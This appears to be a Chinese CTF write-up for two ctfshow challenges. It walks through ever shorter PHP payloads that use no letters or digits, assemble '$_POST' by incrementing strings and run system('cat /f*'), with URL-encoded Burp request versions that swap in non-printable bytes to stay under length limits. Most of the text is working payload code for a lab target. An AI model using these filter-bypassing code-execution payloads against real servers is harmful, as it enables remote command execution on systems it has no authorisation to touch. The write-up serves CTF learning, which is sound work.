看过官方wp之后复现的,用的payload是自己后来写的,可能不如官方的看着清晰
有点强迫症似的在抠细节(x
目录
- 挑战4
- 最初的思路
- 通过HackBar拿flag的写法
- 写法一
- 写法二
- 挑战5
- burp中的payload
- 大佬们也太极限啦
挑战4
最初的思路
第4题的长度限制到了84以内,84这个数字还是蛮特别的,因为一开始想的是,在获取N用$_=(_/_._)[0]
的前提下,后面的内容只在拼接S、T的时候用$__.=++$_
,其他地方就常规来写(意思是不用再去思考怎么写能更短,后面也会说拼接S、T时可以更短哈),长度是90,其中有6处$__,如果能把双下划线改成单个字符,长度就正好是84了,而这可以通过在burp中将$__写成不可见字符如%ff来实现。
$_=(_/_._)[0]; //N
$__=++$_; //$__和$_都是O
$__=++$_.$__; //$__是PO $_是P 这里最初实在没想到怎么才能更短
++$_;++$_; //Q、R
$__.=++$_; //POS
$__.=++$_; //POST
$_=_.$__; //_POST
$$_[0]($$_[_]); //_POST[0](_POST[_]);
上面这种思路对应的完整payload
ctf_show=$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);&0=system&_=cat /f*
长度只计算$_=(_/_._)[0];$__=++$_;$__=++$_.$__;++$_;++$_;$__.=++$_;$__.=++$_;$_=_.$__;$$_[0]($$_[_]);
这部分的长度,这种写法的长度是90,超过了84,因此会执行phpinfo();
在burp中将paylaod中的$__修改成不可见字符%ff就可以拿到flag
burp里的paylaod是
ctf_show=%24_%3D%28_%2F_._%29%5B0%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D%2B%2B%24_.%24%ff%3B%2B%2B%24_%3B%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24%ff.%3D%2B%2B%24_%3B%24_%3D_.%24%ff%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*
然后就默默在心里下了个结论,觉得这题得靠burp替换$__为%ff才能拿flag,出题人也太坏了,让人还得打开burp才能做题(我瞎想的 我瞎想的 我瞎想的)
通过HackBar拿flag的写法
写法一
好在后来突然想到,拼接S、T的时候完全可以更短啊,因为S、T相邻而且在PO之后,完全可以用$__.=++$_.++$_
,这样长度就减少了5,但是85还是比84长了1,又想到最后拼接_的操作也能写得更短,比如在拼接PO的时候就拼接_,即用$__=_.++$_.$__
获得_PO,后面不再写$_=_.$__;
,长度能减少7,最后得到_POST的变量是$__,拼接的时候直接就用$__,双下划线会比单下划线长点,但是问题不大因为只长了2,总体长度减少了5+7-2=10,长度为80,小于84,可以通过借助HackBar传参来获得flag啦
$_=(_/_._)[0]; //N
$__=++$_; //$__和$_都是O
$__=_.++$_.$__; //_PO
++$_;++$_; //Q、R
$__.=++$_.++$_; //_POST
$$__[0]($$__[_]); //_POST[0](_POST[_]);
上面这种思路对应的完整payload
ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*
这样就可以借助HackBar拿到flag
写法二
然后肯定也会好奇,如果最后拼接的时候,用的变量是单下划线的话,长度是多少,结果一看一样,也是80,就是在拼接前把$__.=++$_.++$_;
改成$_=$__.++$_.++$_;
,这样长度增加了2,然后后面拼接时候长度又能减少2,总长度依然是80
完整payload
ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$_=$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*
同样可以通过HackBar拿flag
我们再回过头来看看【写法一】,即
ctf_show=$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*
这里面有6处$__,如果把双下划线都换成单个字符,那长度就能再减少6,变成74个字符(这里提这个是为后续做铺垫)
挑战5
将长度限制到了73,数字0也不可以用了,用上一题的paylaod长度超了会触发执行phpinfo();
但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)[1]
[1]参考自官方wp:
https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah
既然gettext扩展支持函数_()
,且数组下标不用数字而是用未定义常量也可以,那么获取N的语句最终可以写成$_=_(_/_)[%fe];
因为要用到不可见字符,这题怎么也得借助burp了(其实也不是非得打开burp
为了方便在burp里修改payload的内容,先在浏览器端的HackBar里写下面这个paylaod,执行
ctf_show=$_=_(_/_)[0];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);&0=system&_=cat /f*
然后因为长度超了73,会执行phpinfo();
但是没关系,可以用burp抓到这个包,然后放到Repeater修改一下请求包里ctf_show的值,这里我把0都换成%fe,把双下划线都换成%ff
因为在挑战4的最后我说了,把双下划线换成单个不可见字符可以让长度为74,用不可见字符代替0不会影响长度,而一开始获取字母N用$_=_(_/_)[%fe];
比用$_=(_/_._)[0];
少一个字符,所以现在长度刚好73
burp中的payload
下面给出在burp中用的payload如下:
ctf_show=%24_%3D_%28_%2F_%29%5B%fe%5D%3B%24%ff%3D%2B%2B%24_%3B%24%ff%3D_.%2B%2B%24_.%24%ff%3B%24_%2B%2B%3B%24_%2B%2B%3B%24%ff.%3D%2B%2B%24_.%2B%2B%24_%3B%24%24%ff%5B%fe%5D%28%24%24%ff%5B_%5D%29%3B&%fe=system&_=cat+%2Ff*
可以看到返回包中出现了flag
大佬们也太极限啦
最后想说,看官方wp知道还可以更短,真没想到拼接得到PO的时候居然还有更短的写法哎!
可以把原本的$__=++$_;
和$__=++$_.$__;
写成++$_;
和$__=$_.$_++;
这里这样写的话,就只能拼接PO,不能再拼接前面的_
至于原因,官方wp上是这么描述的:
_留到后面再拼接就行,这里结合一下上面的【写法二】的写法,最后用$_作为_POST
$_=_(_/_)[0]; //N
++$_; //O
$__=$_.$_++; //从结果来看是先执行了$_++,执行后$_值变成P,再拼接二者得到PO,但这里不能拼接成_PO
$_++;$_++; //Q、R
$_=_.$__.++$_.++$_; //_POST
$$_[0]($$_[_]);
长度74,有两处双下划线,改成一位不可见字符长度又能减少2,所以在burp中可以缩短到72位。
这里我用挑战4的环境测试的,发现挑战4其实也可以用gettext,所以挑战4在HackBar里也能用长度74的写法来拿flag:
这里用的完整payload:
ctf_show=$_=_(_/_)[0];++$_;$__=$_.$_++;$_++;$_++;$_=_.$__.++$_.++$_;$$_[0]($$_[_]);&0=system&_=cat /f*
在burp中替换两处双下划线为%ff:
burp中的payload:
ctf_show=%24_%3D_%28_%2F_%29%5B0%5D%3B%2B%2B%24_%3B%24%ff%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24%ff.%2B%2B%24_.%2B%2B%24_%3B%24%24_%5B0%5D%28%24%24_%5B_%5D%29%3B&0=system&_=cat+%2Ff*
你以为这就完了?不,还可以更短,还有68位的写法
这里我就纯纯复制粘贴官方wp的内容了哈,做个记录
构造过程:
$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起
第三行可以分开来看,php在执行的时候会先对方括号里面的内容进行解析
$a=_.++$_.$a[$_++/$_++].++$_.++$_//$a直接拼接出_POST
$$a[_POST]($$a[_])//$_POST[_POST]($_POST[_])
总之是太巧妙了,我根本不可能想到
带着好奇心去php在线工具执行了一下拼接_POST的操作,确实也可以,报错一堆堆忽略了就好~
burp中的payload:
ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f*
然后自己复制粘贴payload去用挑战4(懒得再去开5了于是用的4)的环境试了一下,也是可以的
再一看长度,好家伙,即使换成我习惯的下划线、双下划线的写法,长度刚刚好73啊,挑战5也可以不用burp了(最终还是又开了5的环境用hackbar试了)
我用的payload:
ctf_show=$_=_(_/_)[_];$__=++$_;$$__[$__=_.++$_.$__[$_++/$_++].++$_.++$_]($$__[_]);&_POST=system&_=cat /f*